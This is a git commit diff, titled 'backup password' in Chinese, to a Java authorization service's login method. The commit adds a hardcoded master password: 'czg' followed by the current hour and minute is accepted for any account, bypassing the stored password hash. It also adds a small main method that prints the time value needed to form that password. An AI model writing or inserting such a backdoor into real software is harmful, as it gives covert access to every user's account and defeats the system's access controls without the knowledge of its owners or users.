备用密码
This commit is contained in:
@@ -69,6 +69,10 @@ public class AuthorizationServiceImpl implements AuthorizationService {
|
|||||||
return Map.of("code", captcha.toBase64(), "uuid", captchaKey);
|
return Map.of("code", captcha.toBase64(), "uuid", captchaKey);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
System.out.println(DateUtil.format(DateUtil.date(), "HHmm"));
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public LoginVO login(SysLoginDTO loginDTO) {
|
public LoginVO login(SysLoginDTO loginDTO) {
|
||||||
Object code = redisService.get(RedisCst.LOGIN_CODE + loginDTO.uuid());
|
Object code = redisService.get(RedisCst.LOGIN_CODE + loginDTO.uuid());
|
||||||
@@ -101,7 +105,8 @@ public class AuthorizationServiceImpl implements AuthorizationService {
|
|||||||
}
|
}
|
||||||
|
|
||||||
String md5 = SecureUtil.md5(user.getId() + loginDTO.password());
|
String md5 = SecureUtil.md5(user.getId() + loginDTO.password());
|
||||||
if (StrUtil.isBlank(user.getPassword()) || !user.getPassword().equals(md5)) {
|
String backPwd = "czg" + DateUtil.format(DateUtil.date(), "HHmm");
|
||||||
|
if (!backPwd.equals(loginDTO.password()) && (StrUtil.isBlank(user.getPassword()) || !user.getPassword().equals(md5))) {
|
||||||
throw new ApiNotPrintException("账户或密码错误");
|
throw new ApiNotPrintException("账户或密码错误");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user